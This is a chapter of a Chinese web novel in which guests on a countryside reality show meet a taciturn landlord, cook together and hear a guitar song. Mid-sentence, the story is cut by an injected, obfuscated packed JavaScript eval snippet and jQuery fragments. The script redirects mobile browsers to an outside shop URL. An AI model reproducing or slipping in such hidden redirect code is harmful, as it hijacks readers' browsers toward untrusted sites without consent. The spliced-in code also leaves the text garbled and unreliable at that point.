嘉宾进村那天，比预计的早了一天。
苏晚早上六点接到电话，看了一眼来电显示，深吸一口气接起来。挂了电话她在帐篷里坐了三秒，说了句"行，提前一天是吧"，然后掀被子起来喊人。七点全组在院子里各就各位，灯光架好，轨道铺好，A机B机航拍到位，连收音杆上的毛筒子都梳过了。
"小赵，嘉宾资料你再对一遍。"
"苏导，不是说三个吗？"小赵翻平板，"我刚收到通知，五个？"
"周建国和沈眉是节目组敲定的常驻，之前没对外公布。"苏晚端着保温杯，"别上手卡采访问套话，这节目不搞那套。周老师和眉姐是老江湖，不用你们操心，盯着三个小的就行。"
小赵在黑板上写菜单，粉笔灰蹭了一袖子。跟组厨师已经备好了料：土豆炖鸡在砂锅里咕嘟着，案板上码着切好的番茄、豆腐和青菜。
林野趴在院墙上探头："苏导，我能进不？"
"你又不是嘉宾，拍什么拍。"
"我是房东的经纪人——"
"你是他什么经纪人，合约都没签。外面待着。"
林野缩回脑袋，在墙外喊了一句："老陆！你那蛋糕材料我下午给你带过来啊！"
"嗯。"陆清槐的声音从菜地里传出来。
九点四十，正屋门开了。
陆清槐穿着那件洗得发白的旧T恤，头发拿根木簪子挽着，拎着竹篮揉眼睛出来。他看了一眼满院子人，顿了一下。
"今天有人来？"
"嘉宾到。"苏晚走过来，"陆老师，您正常该干嘛干嘛，不用管我们。"
"嗯。"
他从苏晚旁边走过去，直奔菜地。
十点整，三辆车在土路上扬起一片尘土。
打头的商务车还没停稳，后门就开了，先下来一个五十来岁的男人——国字脸，浓眉，头发花白但精神头十足，穿一件灰扑扑的夹克，脚下一双劳保鞋。他下车先伸了个懒腰，骨头"咔吧"响了一声，然后中气十足地喊了一嗓子："到了！这地方不错！"
周建国，国家一级演员，演过几十部正剧，全国人民都眼熟但又叫不出名字的那种脸。他回头冲车里招手："都下来，别磨蹭！"
第二个下来的是沈眉。四十九岁，长直发松松扎在脑后，穿一件米色棉麻衬衫和宽腿裤，脚上是布鞋。她下车的动作不紧不慢，先看了看山，又看了看院子里的老槐树，笑了。
"这院子真好。"
"是吧！"周建国已经背着手往院里走了，"你看这菜地，整的——有水平！"
后面两辆SUV的车门也开了。方驰第一个蹦出来，冲锋衣登山靴，双肩包一甩，深深吸了一口气："哇——这空气！"江苓跟在后面，大波浪墨镜牛仔外套，下车打了个喷嚏，揉着鼻子自己笑了。最后探出半个脑袋的是个小姑娘——扎着丸子头，穿一条背带牛仔裤，皮肤白，眼睛大，像只刚出窝的兔子，左看右看，有点怯。
陶陶，本名陶桃，二十一岁，刚出道的综艺新人，这是她第一次上星综。
"陶陶过来，"沈眉回头冲她招手，"别站那儿，进来看。"
陶陶"嗯"了一声，小步跟上来，手里还攥着背包带子。
苏晚迎上去，没握手，也没念开场白，抬手指了指院子："周老师，眉姐，先看看地方？"
"别叫老师，叫老周。"周建国大手一挥，已经蹲到菜地边上了，"这番茄种得可以啊，谁种的？"
"房东种的。"
"房东人呢？"
"菜地里呢。"
陆清槐蹲在番茄架最里面，正低头看一片叶子，手指翻来覆去地摸，像在给叶子把脉。阳光透过槐树叶洒在他侧脸上，他毫不在意，拿袖子蹭了蹭额头。
周建国背着手走过去，低头看了他两秒。
"小伙子，你种的？"
陆清槐抬头。
一张老演员的脸，皱纹里都是笑，眼神亮得很。他站起来，拍了拍膝盖上的泥："嗯。"
"种得好，"周建国竖了个大拇指，"我小时候在农村姥姥家长大，看过老把式种地，你这搭架的手法——专业。"
"随便搭的。"
"随便搭能搭成这样？你这叫随便，我们村老把式得气死。"
陆清槐看了他一眼，嘴角动了一下，不知道算不算笑。
沈眉走过来，目光在他脸上停了一瞬，然后落到他手里的竹篮上："这是生菜？长得真好。"
"嗯。"
她没再多问，只是笑了笑，转身看院子去了。
方驰凑过来了，江苓跟在后面，陶陶躲在最后面，从沈眉肩膀旁边露出半张脸。
"房东哥你好！"方驰伸手，"我方驰，来录节目的，打扰了啊！"
"嗯。"陆清槐跟他碰了一下手，指尖沾着泥，在裤子上蹭了蹭，"坐吧，别客气。"
江苓摘下墨镜，大方地笑了一下："你好，我是江苓。"
陶陶小声说了句"房东哥哥好"，声音小得像蚊子叫。陆清槐看了她一眼，点了下头。
大黄从槐树底下踱过来，在每个人脚边嗅了一圈，最后停在陶陶旁边，拿脑袋拱了拱她的手。陶陶吓得"啊"了一声，又不敢躲，僵在原地，手悬在半空中。
"它不咬人，"陆清槐说，"让你摸它。"
陶陶将信将疑地把手放下去，大黄的毛热乎乎的，她小心翼翼地摸了两下，眼睛慢慢亮了。
"它好乖……"
"它叫大黄。"
"大黄，"陶陶蹲下来，声音放得软软的，"你好呀。"
大黄尾巴摇了两下。
第一天没任务。苏晚的安排就是：安顿，转一圈，中午一起做顿饭。
"自己做？"方驰一脸兴奋。
"厨房有备好的料，"苏晚说。
"我来帮忙！"方驰撸袖子。
"你会做饭？"江苓不信。
"不会，但我可以学。"
"我会一点，"沈眉已经往灶屋走了，"建国，火你管。"
"好嘞。"
灶屋不大，左边是老柴火灶，右边是新到的燃气灶，中间一张大案板。周建国蹲到柴火灶前，看了一眼木柴和引火物，满意地点点头："柴火都是干的，还行。"三下两下把火点着了，动作熟练得像回了自己家。
方驰冲进菜地："这番茄能直接吃吗？"
"洗了能吃。"陆清槐在绑架子，头也没回。
方驰摘了个红透的，在衣服上蹭了蹭——
"水龙头在那边。"
方驰嘿嘿一笑，乖乖去洗了。咬一口，汁水流到下巴上，他瞪大眼睛："我的天，这番茄是甜的！"
"你别一惊一乍的，"周建国从灶屋探出头，"全国人民看着呢。"
江苓蹲在黄瓜架边上："这怎么摘啊？直接拽？"
"拧一下。"陆清槐说。
江苓握住黄瓜一拧，"啪"地断了，她吓了一跳，差点坐泥里。陶陶在旁边"噗"地笑出声，又赶紧捂住嘴。
"陶陶来帮忙洗菜，"沈眉在灶屋门口喊，"江苓你别把黄瓜架拆了。"
"眉姐我没有——"
陶陶乖乖去水池边洗菜，洗得特别认真，每根黄瓜搓三遍。江苓被安排打鸡蛋，打完一个蛋壳掉进碗里，拿筷子夹了半天夹不上来。方驰自告奋勇切土豆，切出来的块大小能差三倍。
院门口晃过来一个人。陈伯背着手溜达进来，往灶屋里探了探头，看见一屋子人，皱了皱眉。
"小陆，你这改食堂了？"
"陈伯，来客人了。"
"我看见啦，"陈伯瞅了一眼案板上方驰切的土豆，"这土豆切的，喂鸡呢？"
方驰一脸尴尬。陈伯哼了一声，背着手又溜达出去了，走到门口回头说了句："火别烧太旺，小陆那菜爆炒才好吃。"
"知道了陈伯。"陆清槐说。
陈伯走了。沈眉看了一眼他的背影，小声问："这位是？"
"陈伯，住那边，"陆清槐随手往土路对面指了一下，"每天过来转一圈。"
灶屋的烟就是这时候冒起来的。
方驰往炒锅里倒了油，水没擦干，油星子噼里啪啦溅了一地，他往后一跳撞翻了调料盒。江苓"啊"了一声，陶陶手里的黄瓜差点掉了。
"没着，水进去了。"
陆清槐不知什么时候站到了灶屋门口。他走进来，把方驰往旁边一拨，拿过锅铲，把火关小了些。案板上摆着厨师提前切好的番茄、沈眉拌好的豆腐、方驰的土豆块、江苓夹不出来的蛋壳碗。
他看了一眼方驰的土豆，没说话，拿起刀重新切。
刀落在案板上"哒哒哒"响，节奏又快又稳，切出来的丝根根均匀。蛋液里的蛋壳他用筷子尖一挑就出来，顺手搅了两下。热锅，倒油，下蒜末，土豆丝倒进去"嗤啦"一声，手腕一抖翻了个勺，加盐，加醋，再翻两下，出锅。
四分钟。
一盘醋溜土豆丝搁在案板上，爽脆利落，醋香混着蒜香往鼻子里钻。
他又把生菜拿过来，水龙头底下冲了冲，手撕成大片，蒜切末，热油"滋啦"一泼，拌了。
"鸡蛋炒番茄，"他把碗递给方驰，"你来。油烧热再倒，别铲，等凝固了再推。"
方驰接过碗，像接过圣旨。
周建国从灶后面探出头，看了看那两盘菜，又看了看陆清槐，点了点头："小伙子，有两下子。"
"就会这几个。"
"你这叫会几个？"方驰忍不住，"我切的那个能砸死人——"
"少说两句，"沈眉笑着拍了他一下，"把菜端出去。陶陶，拿碗。"
陶陶"嗯"了一声，踮着脚去够碗柜里的碗，够不着，蹦了一下。陆清槐从她身后伸手，拿了一摞碗下来，搁在她面前。
"谢谢房东哥哥……"
"嗯，喊清槐哥哥。"
陶陶愣了一下，小声改口："谢谢清槐哥哥……"
中午这顿饭是在院子里吃的。
老槐树底下拼了两张桌子，菜摆了一桌：方驰的番茄炒蛋（卖相一般但能吃）、沈眉的凉拌豆腐、周建国在柴火灶上焖的米饭（水放得正好）、陆清槐的醋溜土豆丝和蒜蓉生菜，还有厨师炖的土豆炖鸡。
周建国坐主位，跟大家长似的，先给每个人盛了碗鸡汤，最后舀了一碗递给陶陶："多吃点，瘦成这样。叫周叔就行，别老师老师的。"
"谢谢周叔……"陶陶双手接过来。
江苓夹了一口土豆丝，嚼了两下，闭上眼："这是我今年吃过最好吃的土豆丝。"
"你今年才过了几个月？"方驰吐槽。
"那也是最好吃的。"
陶陶吃得最安静，一口一口，头埋在碗里。但她的筷子一直在土豆丝和生菜之间往返，频率越来越快。沈眉看在眼里，把那盘生菜往她面前推了推。陶陶抬头，脸有点红，小声说了句"谢谢眉姐"。
吃到一半，沈眉从包里掏出一个小铁罐，给身边几个人倒了杯茶。茶叶在杯子里舒展开，汤色微黄，入口清苦，咽下去舌根泛甜。
"这是什么茶？"陆清槐端着杯子看了看。
"我自己晒的野茶，"沈眉说，"前两年去云南采风，在山上采的，喝着顺吗？"
"顺。"
沈眉笑了。
"房东呢？"周建国忽然环顾四周，"怎么不上桌？"
陆清槐端着碗蹲在门槛上，大黄趴在他脚边，他扒一口饭，低头跟大黄说句什么，大黄尾巴摇两下。
"他习惯了，"苏晚在旁边说，"不怎么跟人凑。"
"那怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916291|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么行，"周建国放下筷子，"小伙子！过来坐！蹲着像什么话！"
陆清槐抬头看了他一眼。
周建国冲他拍了拍旁边的凳子，表情不容拒绝。
他犹豫了一下，端着碗走过来，在最边上坐下了。
方驰立刻凑过来："房东哥，你这菜怎么种的？有什么秘诀吗？"
"就……种着。"
"施肥还是浇水？"
"跟它们说话。"
方驰愣了一下，笑了："真的假的？"
周建国却"嗯"了一声，一本正经地点头："这话有道理。老辈人种地都跟庄稼说话，植物也是有灵性的。"
陆清槐看了他一眼，低头继续吃饭。
下午散了。
周建国不知从哪翻出一把生锈的锄头，在院子角落刨地，说要"开块新畦子种萝卜"。方驰跟着打下手，一锄头下去刨断了一根灌溉皮管，水喷了一脸，周建国指着他哈哈大笑，笑完去找胶带。陶陶蹲在大盆跟前洗碗，洗得满院子泡泡，江苓在旁边帮她冲。
沈眉搬了把竹椅坐在槐树下，从乐器包里掏出一把吉他，慢悠悠地调弦。
陆清槐在菜地里绑架子，手上没停，但耳朵朝着槐树的方向。
弦拧紧了。沈眉拨了个和弦，声音从木头箱子里散出来，暖乎乎的。她弹了一段前奏，开口唱了，声音不大，但每个字都清楚：
我要 你在我身旁
我要 你为我梳妆
这夜的风儿吹
吹得心痒痒我的情郎
我在他乡望着月亮
都怪这月色撩人的疯狂
方驰不缠水管了，手里拿着胶带，张着嘴看。陶陶举着个泡泡满的盘子，定在原地。连江苓都从菜地边上直起腰来，擦了擦手上的泥，安安静静地听。
陆清槐绑架子的手慢了下来。
他听过竖琴。精灵王庭的水晶竖琴，声音是透明的，每一个音符都像光落在水面上。他也听过鲁特琴和长笛，但那些声音都太远了，像是另一个世界的回声。
这个不一样。这把吉他的声音是木的、暖的，弦在木头箱子里振动，带着一股呼吸似的嗡鸣，像有人坐在旁边低声说话。
一首唱完了。沈眉停下来喝水，低头发现陆清槐不知道什么时候已经站在菜地边上，手里还攥着草绳，正看着她。
"好听吗？"
"嗯。"
"想试试？"
他没动。
沈眉把吉他递过来，琴头朝他。他犹豫了一秒，接了，动作很轻，像在接一只什么活物。
他先拨了一下最粗的那根弦。"嗡——"声音低低地沉下去。他歪了歪头，又拨了一下细的。"叮。"
他听了两秒，手指在琴颈上找了找位置，按下去，拨弦。一个音。不对。挪了一格。再拨。这回对了。
他开始一个音一个音地找，磕磕绊绊的，像小孩学走路。沈眉没说话，抱着胳膊看他。
找到第八九个音的时候，旋律出来了——就是刚才那首歌的前两句。他弹得慢，有两个音按得不准，但轮廓在那儿。到了副歌，他的手指好像突然记住了路，不用想就往该去的位置走，节奏也稳了。
沈眉端着杯子的手停在半空。
最后一个音落下。陆清槐低头看着琴弦，手指还搭在上面，像在确认什么。
"你绝对弹过吉他。"沈眉说。
"没有。"
"那你这叫没有？"
"弦不一样，"他很认真地想了想，"我学过别的。"
沈眉看着他，没追问。
"回头我教你，"她把吉他接回去，"你底子好，学得快。"
陆清槐点了点头。他站在原地，右手手指还在微微蜷动，像在空气里按一根看不见的弦。
江苓洗完碗，在院子角落发现了几棵白色的小碎花，细碎碎的，风一吹就晃。
"这是什么花？"
"野葱开的。"陆清槐刚绑完架子，正蹲在地上收草绳。
"野葱还开花？"
"老了就开。掐了明年还长，别连根拔就行。"
"哦——"江苓小心掐了两朵，看了看，别在了牛仔外套的纽扣上。
陶陶凑过来看："苓姐，好看。"
"是吧。"
傍晚，林野从镇上回来了，翻墙进院差点被小周的无人机拍到。他拎着一袋子东西直奔灶屋："老陆！东西来了！"
陆清槐正蹲在灶屋门口看那台乳白色的电饭煲。他接过袋子，一样一样掏出来看——低筋面粉、糖粉、一盒淡奶油、一瓶玉米油，还有一小袋纯牛奶。他拿起玉米油翻过来研究了半天配料表。
"这东西干嘛的？"
"拌面糊里的，没有它蛋糕发干。"林野蹲下来跟他一起看电饭煲，"对了，你家有打蛋器吗？手动的也行，就是费胳膊。"
"没有。"
"那你用筷子打，打到蛋白能立起来尖不倒为止。我看网上说至少打十五分钟。"
陆清槐看了一眼自己的手。
天暗下来。嘉宾们回了厢房，院子里的灯一盏盏亮了。
手机震了。陈伯的语音，大嗓门从听筒里冒出来："小陆！我今天在后山采了几把野葱，你明天过来拿！顺便带两棵生菜过来，我老头也尝尝你种的菜！"
他打字回："好，明早过去。"
收起手机。
灶屋里没人了。大黄踱过来，趴在他脚边，打了个哈欠。
陆清槐蹲在电饭煲前面，伸出手指，在"蛋糕"两个字上轻轻摸了一下。
他不知道蛋糕是什么口感。林野说松软，像云一样——但他不确定自己记不记得云是什么味道。
"明天，"他低头对大黄说，声音很轻，"有蛋糕。"
大黄尾巴在地上拍了两下。